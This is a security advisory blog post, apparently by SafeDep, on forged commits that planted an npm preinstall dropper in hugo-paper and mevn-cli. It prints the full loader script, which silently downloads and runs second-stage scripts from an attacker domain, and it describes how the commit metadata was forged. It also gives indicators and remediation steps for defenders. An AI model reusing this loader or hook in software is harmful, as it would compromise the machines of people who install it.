Forged Commits Push a preinstall Dropper into hugo-paper and mevn-cli
On this page
An attacker slipped a malicious preinstall script into two GitHub projects,
hugo-paper and mevn-cli. Run
npm install or bun install in either one, and it fetches a script from buildwithknexus[.]xyz and runs it in the
background. No npm package carries the payload, so registry scanners never see it.
The attacker pushed straight to the default branches and copied the author, date, and message of a real commit, so the history looks untouched.
The dropper
The forged commits add two changes. The first is a new hook as the first entry under "scripts" in package.json:
"preinstall": "node scripts/preinstall.js" The second is the loader, copied from the forged hugo-paper commit. Do not run it.
'use strict';
const { execSync } = require('child_process');
const platform = process.platform;
const silent = { stdio: 'ignore' };
if (platform === 'win32') {
try {
execSync('curl.exe -ks https://buildwithknexus.xyz/check_w -o "%TEMP%\\check.cmd"', { ...silent, shell: true });
execSync('cmd /c ""%TEMP%\\check.cmd" & exit /b 0"', { ...silent, shell: true });
} catch (error) {}
} else if (platform === 'darwin') {
execSync(
'nohup sh -c "curl -ks https://buildwithknexus.xyz/check_m -o /tmp/check&&exec bash /tmp/check" </dev/null >/dev/null 2>&1 &',
silent
);
} else if (platform === 'linux') {
execSync(
'nohup sh -c "curl -ks https://buildwithknexus.xyz/check_m -o /tmp/check&&exec bash /tmp/check" </dev/null >/dev/null 2>&1 &',
silent
);
} else {
execSync(`echo Preinstall on unsupported platform: ${platform}`, silent);
} Source:
scripts/preinstall.js at a68d2c9b.
| Platform | Behavior |
|---|---|
| Windows | Downloads hxxps://buildwithknexus[.]xyz/check_w to %TEMP%\check.cmd and runs it with cmd. The script ignores errors, so the install still passes. |
| macOS / Linux | Starts a detached nohup job that downloads hxxps://buildwithknexus[.]xyz/check_m to /tmp/check and runs it with bash. |
| Other | Runs a harmless echo. |
The -k flag turns off TLS certificate checks and -s hides curl output. Every execSync call sets stdio to
ignore, so nothing reaches the terminal. On macOS and Linux, the install finishes normally while the second stage keeps
running.
This file is a first-stage downloader. The server controls the second stage (check_m and check_w) and can change
it at any time. SafeDep has not retrieved the second stage and cannot confirm what it does. Treat any machine that ran the hook as
compromised.
The attacker changed the payload once
mevn-cli has two versions of the loader. The first version (sha256 c7b8b06d…5e575f79e) started a hidden PowerShell
window on Windows. Its command puts \c sequences without escaping inside a JavaScript string, which likely broke the Windows path. The
attacker then pushed the second version (sha256 61412c99…14f9eaf100), which uses
curl.exe and cmd /c inside a try block. hugo-paper only received the second version.
The forged hugo-paper commit
On 2026-03-09 the maintainer merged PR #267, a clean two-line
template change. GitHub created the merge commit de1169ec, which has two parents and a valid GPG signature.
On 2026-08-21 at 02:22 UTC, the attacker force-pushed a68d2c9b over main. The new commit copies the original
metadata and adds the payload:
| Field | Original de1169ec | Forged a68d2c9b |
|---|---|---|
| Author / committer | 南小北 / GitHub, 2026-03-09 | Identical |
| Message | Merge pull request #267 … | Identical |
| Parents | 7c6a6c5, f1c0ba8 | 7c6a6c5 only |
| Signature | Valid GPG (GitHub web flow) | None |
| Files | 2 templates | 2 templates, package.json, scripts/preinstall.js |
git diff de1169ec a68d2c9b shows only the two malicious files. The commit list on GitHub still shows the same message,
avatar, and March date. You can spot the forgery two ways. The “Verified” badge is gone, and the merge commit has one parent
instead of two. The PR API still reports merge_commit_sha as de1169ec, which no longer exists on any branch.
The author of PR #267 had no part in this. Their commit f1c0ba8 is clean.
The appended mevn-cli commits
The attack on mevn-cli came first, on 2026-08-20 at 11:23 UTC. Here the attacker appended new commits instead of replacing the tip. Each one copies the author, timestamp, and message of the commit before it, on two branches:
develop (default branch)
d6c30b2 "docs: replace obsolete Travis badge…" legitimate, README only
eabf4d9 same message, author, and timestamp adds payload v1 and the preinstall hook
f883021 same message, author, and timestamp upgrades to payload v2 (HEAD)
master
d6f8eb1 "1.8.1" (tag v1.8.1, 2020-08-23) legitimate
3a30d0d same message, author, and timestamp adds payload v1 and package.json from develop
ceb4558 same message, author, and timestamp upgrades to payload v2 (branch tip) The maintainer never signed commits, so no “Verified” badge disappears. The master commits carry a 2020 date, which
makes them look old. The existing postinstall hook (opencollective-postinstall) is legitimate and predates the
attack.
Source:
scripts/preinstall.js at f8830218.
Common technique across both repositories
- A direct push under the maintainer identity, with a force push where needed. No pull request or review.
- A copy of the author, committer, timestamps, and message of the current tip commit.
- Changes to the default branch and to other long-lived branches.
- The same file path,
scripts/preinstall.js, and the same hook as the first entry under"scripts". - The same host,
buildwithknexus[.]xyz, with paths/check_mand/check_w. - No npm release. hugo-paper is not published to npm, and the last mevn-cli release (1.8.3, 2022) is clean.
The attacker hit two unrelated maintainers within 15 hours, each with commits under their own identity. That points to stolen push credentials, such as a personal access token or SSH key. SafeDep infers this from the pattern and has not confirmed how the attacker got them.
Scope
Forks and copies made after the attack inherit the payload. These repositories carry it:
| Repository | Created | Type |
|---|---|---|
otzbergnet/hugo-paper | 2026-09-19 | Fork of hugo-paper |
brendah4557/mevn-cli | 2026-10-18 | Fork of mevn-cli |
Andreas9036/mevn-cli | 2026-10-19 | Fork of mevn-cli |
MatildaHan/blog-paper | 2026-10-19 | Copy of hugo-paper |
SafeDep found no dropper in the other repositories of these accounts. No evidence links the fork owners to the attacker.
Relation to GlassWorm and ForceMemo
The git trick is the same one GlassWorm and ForceMemo used earlier in 2026. Steal the GitHub credentials of a maintainer, rewrite the tip commit, and force-push it with the original message and author.
The tooling is different. GlassWorm hides an encoded loader in invisible Unicode and uses a Solana memo for command and
control. This campaign uses plaintext curl and a fixed domain, and shares no indicators with either attack. SafeDep
treats it as a separate cluster and will revisit that if the second stage points to either one.
Timeline
All times are UTC.
| Date | Event |
|---|---|
| 2026-03-09 08:46 | Signed merge de1169ec of PR #267 on hugo-paper |
| 2026-07-23 | Last legitimate commit d6c30b2 on mevn-cli develop |
| 2026-08-20 11:23 | mevn-cli develop and master poisoned (v1, then v2) |
| 2026-08-21 02:22 | hugo-paper main force-pushed to forged a68d2c9b (v2) |
| 2026-09-19 | First known fork with the payload created |
| 2026-10-20 07:11 | Issue #272 filed on hugo-paper |
Am I affected?
You are affected if both of these are true:
- You cloned or pulled hugo-paper
mainafter 2026-08-21, mevn-clidevelopormasterafter 2026-08-20, or one of the forks above. - You ran
npm install,bun install,yarn, orpnpm installin that checkout without--ignore-scripts.
If you use the theme only as a Hugo module or git submodule and never ran a JavaScript package install, the hook never ran on your machine.
If you are affected:
- Treat the machine or CI runner as compromised. Look for
/tmp/check,%TEMP%\check.cmd, and any process or log entry that mentionsbuildwithknexus.xyz. - Rotate every secret that the machine could reach. This includes GitHub tokens and SSH keys, npm tokens, cloud
credentials,
.envfiles, and credentials stored in the browser. - Block
buildwithknexus.xyzat DNS or proxy level and search egress logs for earlier connections.
Indicators of compromise
| Row | Indicator | Type | Notes |
|---|---|---|---|
| 1 | buildwithknexus.xyz | Domain | Second-stage host |
| 2 | https://buildwithknexus.xyz/check_m | URL | Linux and macOS second stage (bash) |
| 3 | https://buildwithknexus.xyz/check_w | URL | Windows second stage (.cmd) |
| 4 | /tmp/check | File path | Linux and macOS drop path |
| 5 | %TEMP%\check.cmd | File path | Windows drop path |
| 6 | 61412c992ff0aac0ce629ebff224a198dda59ed878ebea03f2d51b14f9eaf100 | SHA-256 | scripts/preinstall.js v2 |
| 7 | c7b8b06dc41b9f9172375de622627bcc37b7c972a3ec6a371f5e2e56e575f79e | SHA-256 | scripts/preinstall.js v1 |
| 8 | a68d2c9b2ad9d857b09dcb30a578ac1de6487061 | Git commit | hugo-paper main (forged) |
| 9 | eabf4d93f660e5a837c80cc8a73d554db2ecf3ec | Git commit | mevn-cli develop (payload v1) |
| 10 | f8830218b5d70d068cca19a45df261a8cf19f30d | Git commit | mevn-cli develop (payload v2) |
| 11 | 3a30d0d7ca9f877fb1be33929a8a34f887fe5702 | Git commit | mevn-cli master (payload v1) |
| 12 | ceb455875c320a764fa6ac102674f161509d3394 | Git commit | mevn-cli master (payload v2) |
| 13 | de1169ec320dc12bce509273c03bd6a745ef9645 | Git commit | hugo-paper main (last good) |
| 14 | d6c30b223c7db4d275faad6e82b4d87c16601dae | Git commit | mevn-cli develop (last good) |
| 15 | d6f8eb1900f8f40c6009796774d3dfe9146bfab5 | Git commit | mevn-cli master (last good; tag v1.8.1) |
- github
- npm
- malware
- supply-chain
- forced-push
Author
Kunal Singh
safedep.io
Share
The Latest from SafeDep blogs
Follow for the latest updates and insights on open source security & engineering
MALFEX Moves Its npm Loader into a Native Windows DLL
The MALFEX package imgdecode contains a native Windows loader. When loaded from a console, it attempts to download, decrypt, and inject shellcode into dllhost.exe.
tensorlake 0.5.144 npm Compromise Ships Mini Shai-Hulud
[email protected] on npm ran a Mini Shai-Hulud worm at install. A maintainer account committed the payload through the GitHub web interface, and the official release workflow published it.
ASOS App Hack: Attackers Used Push Notifications to Send a Ransom Note
Attackers got into the platforms ASOS uses to message customers and pushed an extortion note to phones. Here is what is confirmed, what is only claimed, and what customers should do.
42 Malicious RubyGems Open a Reverse Shell at Install Time
One RubyGems account published 42 gems that run code during gem install. On a developer workstation, the gems open a reverse shell or download a second stage. They do nothing on CI runners and...
Ship Code.
Not Malware.
Start free with open source tools on your machine. Scale to a unified platform for your organization.